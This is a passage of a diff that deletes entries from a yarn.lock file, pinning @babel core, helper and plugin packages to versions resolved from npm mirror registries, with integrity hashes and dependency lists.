-  resolved "https://registry.nlark.com/@babel/compat-data/download/@babel/compat-data-7.14.4.tgz?cache=0&sync_timestamp=1622221249104&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fcompat-data%2Fdownload%2F%40babel%2Fcompat-data-7.14.4.tgz#45720fe0cecf3fd42019e1d12cc3d27fadc98d58"
-  integrity sha1-RXIP4M7PP9QgGeHRLMPSf63JjVg=
-
-"@babel/core@7.12.3":
-  version "7.12.3"
-  resolved "https://registry.nlark.com/@babel/core/download/@babel/core-7.12.3.tgz#1b436884e1e3bff6fb1328dc02b208759de92ad8"
-  integrity sha1-G0NohOHjv/b7EyjcArIIdZ3pKtg=
-  dependencies:
-    "@babel/code-frame" "^7.10.4"
-    "@babel/generator" "^7.12.1"
-    "@babel/helper-module-transforms" "^7.12.1"
-    "@babel/helpers" "^7.12.1"
-    "@babel/parser" "^7.12.3"
-    "@babel/template" "^7.10.4"
-    "@babel/traverse" "^7.12.1"
-    "@babel/types" "^7.12.1"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.1"
-    json5 "^2.1.2"
-    lodash "^4.17.19"
-    resolve "^1.3.2"
-    semver "^5.4.1"
-    source-map "^0.5.0"
-
-"@babel/core@^7.1.0", "@babel/core@^7.12.3", "@babel/core@^7.7.5", "@babel/core@^7.8.4":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/core/download/@babel/core-7.14.3.tgz#5395e30405f0776067fbd9cf0884f15bfb770a38"
-  integrity sha1-U5XjBAXwd2Bn+9nPCITxW/t3Cjg=
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@babel/generator" "^7.14.3"
-    "@babel/helper-compilation-targets" "^7.13.16"
-    "@babel/helper-module-transforms" "^7.14.2"
-    "@babel/helpers" "^7.14.0"
-    "@babel/parser" "^7.14.3"
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.14.2"
-    "@babel/types" "^7.14.2"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.2"
-    json5 "^2.1.2"
-    semver "^6.3.0"
-    source-map "^0.5.0"
-
-"@babel/generator@^7.12.1", "@babel/generator@^7.14.2", "@babel/generator@^7.14.3":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/generator/download/@babel/generator-7.14.3.tgz#0c2652d91f7bddab7cccc6ba8157e4f40dcedb91"
-  integrity sha1-DCZS2R973at8zMa6gVfk9A3O25E=
-  dependencies:
-    "@babel/types" "^7.14.2"
-    jsesc "^2.5.1"
-    source-map "^0.5.0"
-
-"@babel/helper-annotate-as-pure@^7.10.4", "@babel/helper-annotate-as-pure@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/helper-annotate-as-pure/download/@babel/helper-annotate-as-pure-7.12.13.tgz#0f58e86dfc4bb3b1fcd7db806570e177d439b6ab"
-  integrity sha1-D1jobfxLs7H819uAZXDhd9Q5tqs=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-builder-binary-assignment-operator-visitor@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-builder-binary-assignment-operator-visitor/download/@babel/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz?cache=0&sync_timestamp=1612314819975&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-builder-binary-assignment-operator-visitor%2Fdownload%2F%40babel%2Fhelper-builder-binary-assignment-operator-visitor-7.12.13.tgz#6bc20361c88b0a74d05137a65cac8d3cbf6f61fc"
-  integrity sha1-a8IDYciLCnTQUTemXKyNPL9vYfw=
-  dependencies:
-    "@babel/helper-explode-assignable-expression" "^7.12.13"
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-compilation-targets@^7.12.1", "@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.13.16", "@babel/helper-compilation-targets@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/helper-compilation-targets/download/@babel/helper-compilation-targets-7.14.4.tgz?cache=0&sync_timestamp=1622221254097&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-compilation-targets%2Fdownload%2F%40babel%2Fhelper-compilation-targets-7.14.4.tgz#33ebd0ffc34248051ee2089350a929ab02f2a516"
-  integrity sha1-M+vQ/8NCSAUe4giTUKkpqwLypRY=
-  dependencies:
-    "@babel/compat-data" "^7.14.4"
-    "@babel/helper-validator-option" "^7.12.17"
-    browserslist "^4.16.6"
-    semver "^6.3.0"
-
-"@babel/helper-create-class-features-plugin@^7.12.1", "@babel/helper-create-class-features-plugin@^7.13.0", "@babel/helper-create-class-features-plugin@^7.14.0", "@babel/helper-create-class-features-plugin@^7.14.3", "@babel/helper-create-class-features-plugin@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/helper-create-class-features-plugin/download/@babel/helper-create-class-features-plugin-7.14.4.tgz#abf888d836a441abee783c75229279748705dc42"
-  integrity sha1-q/iI2DakQavueDx1IpJ5dIcF3EI=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-function-name" "^7.14.2"
-    "@babel/helper-member-expression-to-functions" "^7.13.12"
-    "@babel/helper-optimise-call-expression" "^7.12.13"
-    "@babel/helper-replace-supers" "^7.14.4"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-
-"@babel/helper-create-regexp-features-plugin@^7.12.13":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/helper-create-regexp-features-plugin/download/@babel/helper-create-regexp-features-plugin-7.14.3.tgz?cache=0&sync_timestamp=1621285499019&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-create-regexp-features-plugin%2Fdownload%2F%40babel%2Fhelper-create-regexp-features-plugin-7.14.3.tgz#149aa6d78c016e318c43e2409a0ae9c136a86688"
-  integrity sha1-FJqm14wBbjGMQ+JAmgrpwTaoZog=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    regexpu-core "^4.7.1"
-
-"@babel/helper-define-polyfill-provider@^0.2.2":
-  version "0.2.3"
-  resolved "https://registry.nlark.com/@babel/helper-define-polyfill-provider/download/@babel/helper-define-polyfill-provider-0.2.3.tgz?cache=0&sync_timestamp=1622025400731&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-define-polyfill-provider%2Fdownload%2F%40babel%2Fhelper-define-polyfill-provider-0.2.3.tgz#0525edec5094653a282688d34d846e4c75e9c0b6"
-  integrity sha1-BSXt7FCUZTooJojTTYRuTHXpwLY=
-  dependencies:
-    "@babel/helper-compilation-targets" "^7.13.0"
-    "@babel/helper-module-imports" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/traverse" "^7.13.0"
-    debug "^4.1.1"
-    lodash.debounce "^4.0.8"
-    resolve "^1.14.2"
-    semver "^6.1.2"
-
-"@babel/helper-explode-assignable-expression@^7.12.13":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-explode-assignable-expression/download/@babel/helper-explode-assignable-expression-7.13.0.tgz#17b5c59ff473d9f956f40ef570cf3a76ca12657f"
-  integrity sha1-F7XFn/Rz2flW9A71cM86dsoSZX8=
-  dependencies:
-    "@babel/types" "^7.13.0"
-
-"@babel/helper-function-name@^7.12.13", "@babel/helper-function-name@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/helper-function-name/download/@babel/helper-function-name-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-function-name%2Fdownload%2F%40babel%2Fhelper-function-name-7.14.2.tgz#397688b590760b6ef7725b5f0860c82427ebaac2"
-  integrity sha1-OXaItZB2C273cltfCGDIJCfrqsI=
-  dependencies:
-    "@babel/helper-get-function-arity" "^7.12.13"
-    "@babel/template" "^7.12.13"
-    "@babel/types" "^7.14.2"
-
-"@babel/helper-get-function-arity@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-get-function-arity/download/@babel/helper-get-function-arity-7.12.13.tgz#bc63451d403a3b3082b97e1d8b3fe5bd4091e583"
-  integrity sha1-vGNFHUA6OzCCuX4diz/lvUCR5YM=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-hoist-variables@^7.13.0":
-  version "7.13.16"
-  resolved "https://registry.nlark.com/@babel/helper-hoist-variables/download/@babel/helper-hoist-variables-7.13.16.tgz?cache=0&sync_timestamp=1618917766328&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-hoist-variables%2Fdownload%2F%40babel%2Fhelper-hoist-variables-7.13.16.tgz#1b1651249e94b51f8f0d33439843e33e39775b30"
-  integrity sha1-GxZRJJ6UtR+PDTNDmEPjPjl3WzA=
-  dependencies:
-    "@babel/traverse" "^7.13.15"
-    "@babel/types" "^7.13.16"
-
-"@babel/helper-member-expression-to-functions@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.nlark.com/@babel/helper-member-expression-to-functions/download/@babel/helper-member-expression-to-functions-7.13.12.tgz#dfe368f26d426a07299d8d6513821768216e6d72"
-  integrity sha1-3+No8m1CagcpnY1lE4IXaCFubXI=
-  dependencies:
-    "@babel/types" "^7.13.12"
-
-"@babel/helper-module-imports@^7.0.0", "@babel/helper-module-imports@^7.12.1", "@babel/helper-module-imports@^7.12.13", "@babel/helper-module-imports@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.npm.taobao.org/@babel/helper-module-imports/download/@babel/helper-module-imports-7.13.12.tgz#c6a369a6f3621cb25da014078684da9196b61977"
-  integrity sha1-xqNppvNiHLJdoBQHhoTakZa2GXc=
-  dependencies:
-    "@babel/types" "^7.13.12"
-
-"@babel/helper-module-transforms@^7.12.1", "@babel/helper-module-transforms@^7.13.0", "@babel/helper-module-transforms@^7.14.0", "@babel/helper-module-transforms@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/helper-module-transforms/download/@babel/helper-module-transforms-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-module-transforms%2Fdownload%2F%40babel%2Fhelper-module-transforms-7.14.2.tgz#ac1cc30ee47b945e3e0c4db12fa0c5389509dfe5"
-  integrity sha1-rBzDDuR7lF4+DE2xL6DFOJUJ3+U=
-  dependencies:
-    "@babel/helper-module-imports" "^7.13.12"
-    "@babel/helper-replace-supers" "^7.13.12"
-    "@babel/helper-simple-access" "^7.13.12"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-    "@babel/helper-validator-identifier" "^7.14.0"
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.14.2"
-    "@babel/types" "^7.14.2"
-
-"@babel/helper-optimise-call-expression@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-optimise-call-expression/download/@babel/helper-optimise-call-expression-7.12.13.tgz?cache=0&sync_timestamp=1612314687212&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-optimise-call-expression%2Fdownload%2F%40babel%2Fhelper-optimise-call-expression-7.12.13.tgz#5c02d171b4c8615b1e7163f888c1c81c30a2aaea"
-  integrity sha1-XALRcbTIYVsecWP4iMHIHDCiquo=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.13.0", "@babel/helper-plugin-utils@^7.8.0", "@babel/helper-plugin-utils@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-plugin-utils/download/@babel/helper-plugin-utils-7.13.0.tgz?cache=0&sync_timestamp=1614034264835&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-plugin-utils%2Fdownload%2F%40babel%2Fhelper-plugin-utils-7.13.0.tgz#806526ce125aed03373bc416a828321e3a6a33af"
-  integrity sha1-gGUmzhJa7QM3O8QWqCgyHjpqM68=
-
-"@babel/helper-remap-async-to-generator@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-remap-async-to-generator/download/@babel/helper-remap-async-to-generator-7.13.0.tgz?cache=0&sync_timestamp=1614034243906&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-remap-async-to-generator%2Fdownload%2F%40babel%2Fhelper-remap-async-to-generator-7.13.0.tgz#376a760d9f7b4b2077a9dd05aa9c3927cadb2209"
-  integrity sha1-N2p2DZ97SyB3qd0Fqpw5J8rbIgk=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-wrap-function" "^7.13.0"
-    "@babel/types" "^7.13.0"
-
-"@babel/helper-replace-supers@^7.12.13", "@babel/helper-replace-supers@^7.13.12", "@babel/helper-replace-supers@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/helper-replace-supers/download/@babel/helper-replace-supers-7.14.4.tgz?cache=0&sync_timestamp=1622221254092&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-replace-supers%2Fdownload%2F%40babel%2Fhelper-replace-supers-7.14.4.tgz#b2ab16875deecfff3ddfcd539bc315f72998d836"
-  integrity sha1-sqsWh13uz/89381Tm8MV9ymY2DY=
-  dependencies:
-    "@babel/helper-member-expression-to-functions" "^7.13.12"
-    "@babel/helper-optimise-call-expression" "^7.12.13"
-    "@babel/traverse" "^7.14.2"
-    "@babel/types" "^7.14.4"
-
-"@babel/helper-simple-access@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.npm.taobao.org/@babel/helper-simple-access/download/@babel/helper-simple-access-7.13.12.tgz?cache=0&sync_timestamp=1616428070267&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-simple-access%2Fdownload%2F%40babel%2Fhelper-simple-access-7.13.12.tgz#dd6c538afb61819d205a012c31792a39c7a5eaf6"
-  integrity sha1-3WxTivthgZ0gWgEsMXkqOcel6vY=
-  dependencies:
-    "@babel/types" "^7.13.12"
-
-"@babel/helper-skip-transparent-expression-wrappers@^7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/helper-skip-transparent-expression-wrappers/download/@babel/helper-skip-transparent-expression-wrappers-7.12.1.tgz#462dc63a7e435ade8468385c63d2b84cce4b3cbf"
-  integrity sha1-Ri3GOn5DWt6EaDhcY9K4TM5LPL8=
-  dependencies:
-    "@babel/types" "^7.12.1"
-
-"@babel/helper-split-export-declaration@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-split-export-declaration/download/@babel/helper-split-export-declaration-7.12.13.tgz#e9430be00baf3e88b0e13e6f9d4eaf2136372b05"
-  integrity sha1-6UML4AuvPoiw4T5vnU6vITY3KwU=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-validator-identifier@^7.12.11", "@babel/helper-validator-identifier@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/helper-validator-identifier/download/@babel/helper-validator-identifier-7.14.0.tgz?cache=0&sync_timestamp=1619727430134&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-validator-identifier%2Fdownload%2F%40babel%2Fhelper-validator-identifier-7.14.0.tgz#d26cad8a47c65286b15df1547319a5d0bcf27288"
-  integrity sha1-0mytikfGUoaxXfFUcxml0Lzycog=
-
-"@babel/helper-validator-option@^7.12.1", "@babel/helper-validator-option@^7.12.17":
-  version "7.12.17"
-  resolved "https://registry.npm.taobao.org/@babel/helper-validator-option/download/@babel/helper-validator-option-7.12.17.tgz#d1fbf012e1a79b7eebbfdc6d270baaf8d9eb9831"
-  integrity sha1-0fvwEuGnm37rv9xtJwuq+NnrmDE=
-
-"@babel/helper-wrap-function@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-wrap-function/download/@babel/helper-wrap-function-7.13.0.tgz?cache=0&sync_timestamp=1614034242975&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-wrap-function%2Fdownload%2F%40babel%2Fhelper-wrap-function-7.13.0.tgz#bdb5c66fda8526ec235ab894ad53a1235c79fcc4"
-  integrity sha1-vbXGb9qFJuwjWriUrVOhI1x5/MQ=
-  dependencies:
-    "@babel/helper-function-name" "^7.12.13"
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.13.0"
-    "@babel/types" "^7.13.0"
-
-"@babel/helpers@^7.12.1", "@babel/helpers@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/helpers/download/@babel/helpers-7.14.0.tgz?cache=0&sync_timestamp=1619727432208&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelpers%2Fdownload%2F%40babel%2Fhelpers-7.14.0.tgz#ea9b6be9478a13d6f961dbb5f36bf75e2f3b8f62"
-  integrity sha1-6ptr6UeKE9b5Ydu182v3Xi87j2I=
-  dependencies:
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.14.0"
-    "@babel/types" "^7.14.0"
-
-"@babel/highlight@^7.10.4", "@babel/highlight@^7.12.13":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/highlight/download/@babel/highlight-7.14.0.tgz?cache=0&sync_timestamp=1619727045820&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhighlight%2Fdownload%2F%40babel%2Fhighlight-7.14.0.tgz#3197e375711ef6bf834e67d0daec88e4f46113cf"
-  integrity sha1-MZfjdXEe9r+DTmfQ2uyI5PRhE88=
-  dependencies:
-    "@babel/helper-validator-identifier" "^7.14.0"
-    chalk "^2.0.0"
-    js-tokens "^4.0.0"
-
-"@babel/parser@^7.1.0", "@babel/parser@^7.12.13", "@babel/parser@^7.12.3", "@babel/parser@^7.14.2", "@babel/parser@^7.14.3", "@babel/parser@^7.7.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/parser/download/@babel/parser-7.14.4.tgz#a5c560d6db6cd8e6ed342368dea8039232cbab18"
-  integrity sha1-pcVg1tts2ObtNCNo3qgDkjLLqxg=
-
-"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/download/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz?cache=0&sync_timestamp=1616428052933&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-bugfix-v8-spread-parameters-in-optional-chaining%2Fdownload%2F%40babel%2Fplugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz#a3484d84d0b549f3fc916b99ee4783f26fabad2a"
-  integrity sha1-o0hNhNC1SfP8kWuZ7keD8m+rrSo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-    "@babel/plugin-proposal-optional-chaining" "^7.13.12"
-
-"@babel/plugin-proposal-async-generator-functions@^7.12.1", "@babel/plugin-proposal-async-generator-functions@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-async-generator-functions/download/@babel/plugin-proposal-async-generator-functions-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-async-generator-functions%2Fdownload%2F%40babel%2Fplugin-proposal-async-generator-functions-7.14.2.tgz#3a2085abbf5d5f962d480dbc81347385ed62eb1e"
-  integrity sha1-OiCFq79dX5YtSA28gTRzhe1i6x4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-remap-async-to-generator" "^7.13.0"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-
-"@babel/plugin-proposal-class-properties@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.12.1.tgz?cache=0&sync_timestamp=1617731968640&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-class-properties%2Fdownload%2F%40babel%2Fplugin-proposal-class-properties-7.12.1.tgz#a082ff541f2a29a4821065b8add9346c0c16e5de"
-  integrity sha1-oIL/VB8qKaSCEGW4rdk0bAwW5d4=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.12.1"
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-proposal-class-properties@^7.12.1", "@babel/plugin-proposal-class-properties@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.13.0.tgz?cache=0&sync_timestamp=1617731968640&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-class-properties%2Fdownload%2F%40babel%2Fplugin-proposal-class-properties-7.13.0.tgz#146376000b94efd001e57a40a88a525afaab9f37"
-  integrity sha1-FGN2AAuU79AB5XpAqIpSWvqrnzc=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.13.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-proposal-class-static-block@^7.14.3":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-class-static-block/download/@babel/plugin-proposal-class-static-block-7.14.3.tgz?cache=0&sync_timestamp=1621285504385&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-class-static-block%2Fdownload%2F%40babel%2Fplugin-proposal-class-static-block-7.14.3.tgz#5a527e2cae4a4753119c3a3e7f64ecae8ccf1360"
-  integrity sha1-WlJ+LK5KR1MRnDo+f2TsrozPE2A=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.3"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-class-static-block" "^7.12.13"
-
-"@babel/plugin-proposal-decorators@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-decorators/download/@babel/plugin-proposal-decorators-7.12.1.tgz?cache=0&sync_timestamp=1620840050927&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-decorators%2Fdownload%2F%40babel%2Fplugin-proposal-decorators-7.12.1.tgz#59271439fed4145456c41067450543aee332d15f"
-  integrity sha1-WScUOf7UFFRWxBBnRQVDruMy0V8=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.12.1"
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/plugin-syntax-decorators" "^7.12.1"
-
-"@babel/plugin-proposal-dynamic-import@^7.12.1", "@babel/plugin-proposal-dynamic-import@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-dynamic-import/download/@babel/plugin-proposal-dynamic-import-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-dynamic-import%2Fdownload%2F%40babel%2Fplugin-proposal-dynamic-import-7.14.2.tgz#01ebabd7c381cff231fa43e302939a9de5be9d9f"
-  integrity sha1-Aeur18OBz/Ix+kPjApOaneW+nZ8=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-
-"@babel/plugin-proposal-export-namespace-from@^7.12.1", "@babel/plugin-proposal-export-namespace-from@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-export-namespace-from/download/@babel/plugin-proposal-export-namespace-from-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-export-namespace-from%2Fdownload%2F%40babel%2Fplugin-proposal-export-namespace-from-7.14.2.tgz#62542f94aa9ce8f6dba79eec698af22112253791"
-  integrity sha1-YlQvlKqc6Pbbp57saYryIRIlN5E=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-
-"@babel/plugin-proposal-json-strings@^7.12.1", "@babel/plugin-proposal-json-strings@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-json-strings/download/@babel/plugin-proposal-json-strings-7.14.2.tgz#830b4e2426a782e8b2878fbfe2cba85b70cbf98c"
-  integrity sha1-gwtOJCanguiyh4+/4suoW3DL+Yw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-
-"@babel/plugin-proposal-logical-assignment-operators@^7.12.1", "@babel/plugin-proposal-logical-assignment-operators@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-logical-assignment-operators/download/@babel/plugin-proposal-logical-assignment-operators-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-logical-assignment-operators%2Fdownload%2F%40babel%2Fplugin-proposal-logical-assignment-operators-7.14.2.tgz#222348c080a1678e0e74ea63fe76f275882d1fd7"
-  integrity sha1-IiNIwIChZ44OdOpj/nbydYgtH9c=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.12.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator%2Fdownload%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator-7.12.1.tgz#3ed4fff31c015e7f3f1467f190dbe545cd7b046c"
-  integrity sha1-PtT/8xwBXn8/FGfxkNvlRc17BGw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@^7.12.1", "@babel/plugin-proposal-nullish-coalescing-operator@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator%2Fdownload%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator-7.14.2.tgz#425b11dc62fc26939a2ab42cbba680bdf5734546"
-  integrity sha1-QlsR3GL8JpOaKrQsu6aAvfVzRUY=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-
-"@babel/plugin-proposal-numeric-separator@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.12.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-numeric-separator%2Fdownload%2F%40babel%2Fplugin-proposal-numeric-separator-7.12.1.tgz#0e2c6774c4ce48be412119b4d693ac777f7685a6"
-  integrity sha1-DixndMTOSL5BIRm01pOsd392haY=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-
-"@babel/plugin-proposal-numeric-separator@^7.12.1", "@babel/plugin-proposal-numeric-separator@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-numeric-separator%2Fdownload%2F%40babel%2Fplugin-proposal-numeric-separator-7.14.2.tgz#82b4cc06571143faf50626104b335dd71baa4f9e"
-  integrity sha1-grTMBlcRQ/r1BiYQSzNd1xuqT54=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-
-"@babel/plugin-proposal-object-rest-spread@^7.12.1", "@babel/plugin-proposal-object-rest-spread@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-object-rest-spread/download/@babel/plugin-proposal-object-rest-spread-7.14.4.tgz?cache=0&sync_timestamp=1622221269189&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-object-rest-spread%2Fdownload%2F%40babel%2Fplugin-proposal-object-rest-spread-7.14.4.tgz#0e2b4de419915dc0b409378e829412e2031777c4"
-  integrity sha1-DitN5BmRXcC0CTeOgpQS4gMXd8Q=
-  dependencies:
-    "@babel/compat-data" "^7.14.4"
-    "@babel/helper-compilation-targets" "^7.14.4"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-transform-parameters" "^7.14.2"
-
-"@babel/plugin-proposal-optional-catch-binding@^7.12.1", "@babel/plugin-proposal-optional-catch-binding@^7.14.2":
-  version "7.14.2"
